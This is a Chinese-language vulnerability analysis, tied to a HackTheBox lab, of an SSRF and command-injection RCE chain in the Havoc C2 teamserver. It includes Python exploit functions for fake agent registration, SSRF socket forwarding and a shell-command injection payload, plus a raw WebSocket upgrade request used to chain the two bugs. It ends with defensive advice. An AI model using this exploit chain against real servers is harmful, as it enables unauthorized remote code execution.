HTB赛季靶场引发对Havoc SSRF+RCE组合漏洞的思考和研究
字数 1553 2025-08-22 12:23:19
Havoc C2 SSRF+RCE组合漏洞分析与利用教学
1. 漏洞概述
Havoc C2是一个开源的命令与控制框架,近期被发现存在两个关键漏洞的组合利用链:
- 未授权SSRF漏洞:允许攻击者通过精心构造的HTTP请求实现服务器端请求伪造
- 授权RCE漏洞:在生成payload时存在命令注入漏洞,可导致远程代码执行
这两个漏洞组合后可形成完整的攻击链,实现对Havoc C2服务器的完全控制。
2. 漏洞分析
2.1 未授权SSRF漏洞分析
2.1.1 漏洞触发流程
- ListenerStart函数:Havoc开启监听时调用,配置后调用Start()函数
- Start()函数:使用Gin框架设置路由,将所有POST请求映射到h.request
- request方法:
- 读取请求体到Body变量
- 验证URI和User-Agent
- 通过过滤后将Body传递给parseAgentRequest
2.1.2 关键数据结构
POST Body的数据结构:
[Size 4字节][Magic Value 4字节][Agent ID 4字节][Data]
- Magic Value:
0xDEADBEEF(DEMON_MAGIC_VALUE) - DEMON_INIT: 99 (用于初始注册)
2.1.3 注册代理流程
- 当MagicValue匹配时,调用handleDemonAgent函数
- 当AgentID不存在时:
- 读取Data前4字节赋予Command变量
- 与DEMON_INIT(99)比较
- 通过ParseDemonRegisterRequest创建Agent
2.1.4 SSRF触发点
在TaskDispatch函数中:
- 检查IsKnownRequestID函数
- 当CommandID为特定值时绕过RequestID检查
- COMMAND_SOCKET(2540)分支可触发SSRF
2.1.5 Socket操作
- SOCKET_COMMAND_OPEN(16):
- 创建端口转发结构
- 添加到Agent的端口转发列表
- SOCKET_COMMAND_READ(11):
- 调用PortFwdOpen创建TCP Socket
- 使用net.Dial建立连接
2.2 授权RCE漏洞分析
2.2.1 漏洞位置
teamserver/pkg/common/builder/builder.go中的payload生成部分
2.2.2 漏洞原理
- 参数传入compilerOptions.Defines
- CompileCommand获取参数组成命令
- 传入CompileCmd函数执行
- 最终通过Cmd函数执行系统命令
3. 漏洞利用
3.1 SSRF利用
3.1.1 注册Agent
def register_agent(teamserver_url, aes_key, aes_iv, hostname, username, domain, internal_ip):
agent_header = b""
header_data = b""
# 构造agent_header: size + magic_value + agent_id
agent_header += int_to_bytes(12 + len(header_data), 4) # size
agent_header += int_to_bytes(0xDEADBEEF, 4) # magic_value
agent_header += int_to_bytes(0, 4) # agent_id
# 构造header_data
header_data += int_to_bytes(99, 4) # DEMON_INIT
header_data += aes_key # AESKey
header_data += aes_iv # AESIV
# 添加其他注册信息...
data = agent_header + header_data
requests.post(teamserver_url, data=data)
3.1.2 开启Socket
def open_socket(teamserver_url, agent_id, target_ip, target_port):
command = 2540 # COMMAND_SOCKET
subcommand = 16 # SOCKET_COMMAND_OPEN
# 构造IP和端口
ip_parts = target_ip.split('.')
reversed_ip = '.'.join(reversed(ip_parts))
ip_bytes = bytes([int(part) for part in reversed_ip.split('.')])
port_bytes = int_to_bytes(target_port, 2)
# 构造数据包
data = int_to_bytes(command, 4) + int_to_bytes(subcommand, 4) + ip_bytes + port_bytes
# 发送请求...
3.1.3 写入Socket
def write_socket(teamserver_url, agent_id, socket_id, request_data):
command = 2540 # COMMAND_SOCKET
subcommand = 11 # SOCKET_COMMAND_READ
socket_type = 3 # SOCKET_TYPE_CLIENT
# 构造数据包
data = (
int_to_bytes(command, 4) +
int_to_bytes(subcommand, 4) +
int_to_bytes(socket_id, 4) +
int_to_bytes(socket_type, 4) +
int_to_bytes(1, 4) + # success = TRUE
request_data
)
# 发送请求...
3.2 RCE利用
3.2.1 命令注入
def exploit_rce(teamserver_url, auth_token, command):
# 构造恶意payload
injection = f'"; {command}; #'
headers = {
"Authorization": f"Bearer {auth_token}"
}
data = {
"ServerName": injection,
# 其他必要参数...
}
requests.post(f"{teamserver_url}/api/build", headers=headers, json=data)
3.3 组合利用链
-
通过SSRF将流量代理到teamserver本地的40056端口
-
构造HTTP升级为WebSocket的请求:
GET /api/ws HTTP/1.1 Host: localhost:40056 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Version: 13 -
构造WebSocket帧发送RCE payload
4. 利用限制与注意事项
-
回显问题:
- Havoc通过job结构体返回结果
- 协议升级后可能无法接收回显
-
协议升级限制:
- 默认使用wss协议(WebSocket over TLS)
- 通过SSRF只能升级到ws协议(非加密)
- 需要目标服务器打补丁降级为ws协议
-
利用前提:
- 40056端口需开在本地
- 需要获取有效的账号密码
- 服务器配置需允许协议降级
5. 防御建议
- 限制Teamserver的监听地址,避免暴露在公网
- 加强认证机制,使用强密码
- 监控异常的网络连接和进程创建
- 及时更新到修复版本
- 避免使用默认端口和配置